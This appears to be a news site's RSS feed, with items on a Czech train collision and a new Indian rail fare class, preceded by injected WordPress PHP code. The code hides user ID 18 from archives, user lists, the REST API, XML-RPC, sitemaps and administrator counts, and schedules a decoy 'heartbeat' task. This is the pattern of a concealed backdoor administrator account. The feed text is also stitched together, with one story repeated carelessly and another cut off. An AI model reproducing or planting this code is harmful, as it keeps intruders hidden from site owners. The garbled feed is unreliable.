add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Two trains collided at a village in the west of the Czech Republic appeared first on The Edge Media.
]]>“Unfortunately, according to the latest information, a train collision… has killed three and left dozens of people injured,” national rail operator Sprava zeleznic said on Twitter.
“All the passengers have been evacuated from the trains,” the firm added.
National police said all passengers were accounted for, adding that the accident happened shortly after 8:00 am (0600 GMT) at Milavce.
“At the moment, 31 people whose lives are not in danger are being treated, seven people are in a critical state and two are dead”, a spokeswoman for Plzen region rescue teams, Maria Svobodova told iRozhlas.cz
The Munich-to-Prague train, number Ex 351 belonging to the German firm Die Laenderbahn, collided with a regional service between the Czech towns of Plzen and Domazlice.
Several foreigners were travelling aboard the German train and some of them were among the injured, local media reported.
According to footage shown on Czech public television, one part of the German train was completely mangled, though both vehicles remained upright.
Die Laenderbahn said in a statement that “the running of the train on the Czech side is the responsibility of the CD”, the Ceske drahy rail company.
Czech Transport Minister Karel Havlicek said “the Ex 351 did not respect a signal… and crashed into the regional train”.
“The situation is serious,” Havlicek said as he headed to the scene of the accident.
Czech Prime Minister Andrej Babis tweeted his “sincere condolences to the families of the dead. It is important to save other lives. Then everything must be investigated.”
“Unfortunately, this summer is full of tragedies,” he added.
Four helicopters, several ambulances and dozens of rescuers were dispatched to the site.
“The German Red Cross, the Bavarian ambulance service and doctors from (the German city of) Cham are also at the scene of the rail accident,” Czech police tweeted.
“German police have also offered assistance,” they added.
Two train crashes in the Czech Republic in July last year left three people dead and dozens injured.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post Two trains collided at a village in the west of the Czech Republic appeared first on The Edge Media.
]]>The post Three killed, Dozens Hurt in Czeach train crash. appeared first on The Edge Media.
]]>“Unfortunately , according to the latest information, a train collision.. Has killed three and left dozens of people injured,” national rail operator Sprava zeleznic said on Twitter.
“All the passengers have been evacuated from the trains, “ the firm added.
National police said all passengers were accounted for, adding that the accident happened shortly after 8.00am at Milavec.
Several foreigners were travelling aboard the German train and some of them were among the injured , local media reported.
The post Three killed, Dozens Hurt in Czeach train crash. appeared first on The Edge Media.
]]>The post Now railways will increase the fare of third AC, new class named ‘AC 3-tier economy’ appeared first on The Edge Media.
]]>What does ‘Three Tier AC Economy Class’ mean?
The existing coaches’ AC coaches were divided into three classes of first AC, second AC and third AC. But now there will also be a fourth class which will be called the three tier AC economy class.

What will be the difference between third AC and third AC economy class?
The post Now railways will increase the fare of third AC, new class named ‘AC 3-tier economy’ appeared first on The Edge Media.
]]>